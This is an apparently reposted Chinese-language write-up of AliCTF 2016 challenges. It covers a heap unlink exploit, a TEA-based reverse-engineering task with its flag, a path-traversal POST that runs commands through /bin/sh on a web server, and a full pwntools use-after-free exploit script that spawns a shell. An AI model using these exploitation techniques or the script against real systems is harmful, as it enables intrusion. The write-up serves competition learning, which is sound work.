AliCTF 2016


    上上周參加了阿里的CTF,靠着最后絕殺隊伍有幸拿到了國內第一名,也順利進入了XCTF Final。把自己做的幾個題簡單寫了下,發出來也算個總結吧。

PWN-FB

    經典的null byte overflow加上unlink,覆蓋下一個堆塊SIZE字段的pre_inuse字段,free時造成后向融合,unlink時可以寫msg全局管理結構(設為gl)指向&gl-3。這樣通過set message就可以任意地址寫,此外,將free@got修改為printf@plt,這樣每次free的時候都可以泄露指定地址的內容,可以任意地址泄露。這次的題用的都是同一個libc,所以也就沒用dynelf來獲得system地址了。

    中間有個花絮,最初能任意地址寫的時候,還想用偽造字符串表,並修改.dynamic段中.strtab的地址為偽造的字符串表的地址,來獲取shell。但發現.dynamic段不可寫,記得上一次做一個arm下的pwn時是可以寫的,在x64下竟然不可以。

Mobile-Steady-android

整個程序都是用c++寫的,沒有用到java。我也沒仔細看,打開so后發現做了控制流混淆,好吧,那就直接找關鍵函數吧,(其實,如果程序算法很復雜同時做了控制流混淆的話,我覺得基本上沒人能做出來了,所以CTF中對so做控制流混淆的一般算法都不難)。

直接看到了一個flg(int, char*)的函數,進去一看,根據int的值,生成長度為12的字符串,大概就知道什么意思了,如果int值對的話,那個字符串數組就是flag了。好,直接把flg函數復制出來,並進行修改。對int設置了范圍進行循環爆破,並要求求出的字符串數組在0-9a-zA-Z中,長度為12,爆出了30多個滿足的字符串,我試了第4個還是第5個的時候就正確了,不得不說這是投機取巧了。

RE-DEBUG

    是一個windows的程序,父進程會調試子進程,子進程在執行的時候會遇到非法指令,這個時候父進程會對子進程的指令和數據進行處理,並讓子進程繼續運行。處理分別是異或0x7f和異或0x31。

子進程會要求用戶輸入,經過128輪TEA加密算法,然后再處理,並將結果與指定數據進行比較,如果相等的話,就會輸出Good!。

TEA的密鑰是父進程在子進程執行過程出異常時進行的修改,四個key分別是0x112233,0x44556677,0x8899aabb,0xccddeeff。TEA是對稱加密算法,下一步就是找一個tea的程序開始解密就好,剛開始傻傻地去github上找,發現都不好用,后來在博客園找到了一個。有個坑點就是,網上的代碼大部分都是32輪的,如果直接修改為128輪的話,會有問題,有個小地方需要注意下,這里就不說了。Flag就是:c6bf3d7cdad82ea712cea62cccbafddf

RE-Httpd

    這個題只給了一個地址和端口。請求過去,發現總是返回一個特定的阿里巴巴的頁面。很早以前接觸過文件包含,我就嘗試着去試了下,真的可以!!如下圖:

    但是我嘗試直接包含flag,發現並沒有成功,這樣的話,應該是flag被藏起來了。

    下一步,繼續通過文件包含把/home/httpd/httpd給讀了出來,這樣的話就有二進制文件了。接下來就是對二進制文件進行分析。分析后,如果是post請求過去,服務器會進行特殊的處理,如果POST /../../../../../../../../../bin/sh的話,服務器會啟動執行/bin/sh,並把post過去的數據當作命令執行,並返回結果。這樣的話,就可以任意指令執行了。這些都是本地調試后發現的。

 

    定位flag文件位置的過程也挺有趣的,

flag藏在/home/httpd/httpd/ALICTF{you_know_flag_huh?}/ _______________/flag下,怪不得直接文件包含不到。

Routers

    是一個UAF的洞,通過泄露虛表地址泄露主程序模塊,通過泄露top_chunk的值獲得堆的地址,通過magic gadget獲得shell,有時候magic gadget還是很好用的。

from pwn import *
#context.log_level='debug'
#by wah
r = remote('127.0.0.1',10001)
exe = 'routers'
def getpid():
    pid= pwnlib.util.proc.pidof(exe)
    print pid
    raw_input('go!')
def new_router(r,name='111'):
    r.recvuntil('> ')
    r.sendline('create router')
    r.recvuntil('(tplink/hiwifi/cisco): ')
    r.sendline('cisco')
    r.recvuntil('router name: ')
    r.sendline(name)
def new_terminal(r,tname='111',rname='222'):
    r.recvuntil('> ')
    r.sendline('create terminal')
    r.recvuntil('you want to attach: ')
    r.sendline(rname)
    r.recvuntil('(windows/linux/osx): ')
    r.sendline('linux')
    r.recvuntil('terminal name: ')
    r.sendline(tname)
def connect(r,r1,r2):
    r.recvuntil('> ')
    r.sendline('connect')
    r.recvuntil('you want to be client: ')
    r.sendline(r1)
    r.recvuntil('you want to be server: ')
    r.sendline(r2)
def disconnect(r,r1):
    r.recvuntil('> ')
    r.sendline('disconnect')
    r.recvuntil('you want to disconnect: ')
    r.sendline(r1)
def del_router(r,r1):
    r.recvuntil('> ')
    r.sendline('delete router')
    r.recvuntil('you want to delete: ')
    r.sendline(r1)
def getexebase(r):
    r.recvuntil('> ')
    r.sendline('show')
    r.recvuntil("I'm connected to ")
    data = r.recvuntil('\x0a')[:-1]
    data = data + (8-len(data))*'\x00' 
    exebase = u64(data) - 0x204B30
    print hex(exebase)
    return exebase
def show(r):
    r.recvuntil('> ')
    r.sendline('show')
def leak(addr):
    global r
    name = 'a'*8 + p64(addr) + 'a'*16
    new_router(r,name)
    show(r)
    r.recvuntil("I'm connected to ")
    data = r.recvuntil('\x0a')[:-1]
    data = data + (8-len(data))*'\x00' 
    func = u64(data)
    print hex(func)
    del_router(r,name)
    return func

new_router(r,'1') #router 1
new_router(r,'2') #router 2
new_router(r,'3') #router 3
getpid()

connect(r,'1','2')
connect(r,'2','3')
del_router(r,'2')
new_terminal(r,'22','3')    
exebase=getexebase(r)
del_router(r,'3')

setvbuf_got = 0x204EC8+exebase
strlen_got = 0x204EF0+exebase

setvbuf = leak(setvbuf_got)
strlen = leak(strlen_got)
main_arena = setvbuf - 0x6C0A0 + 0x3A5620
#print hex(main_arena+89)
top_chunk = leak(main_arena+89)
top_chunk = top_chunk<<8
print hex(top_chunk)

vtable = top_chunk - 0xa0 + 0x18
magic_gadget = setvbuf - 0x6C0A0 + 0x41374
name = p64(vtable) + p64(magic_gadget)*3
new_router(r,name)
disconnect(r,'1')
r.interactive()

r.close()
View Code

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM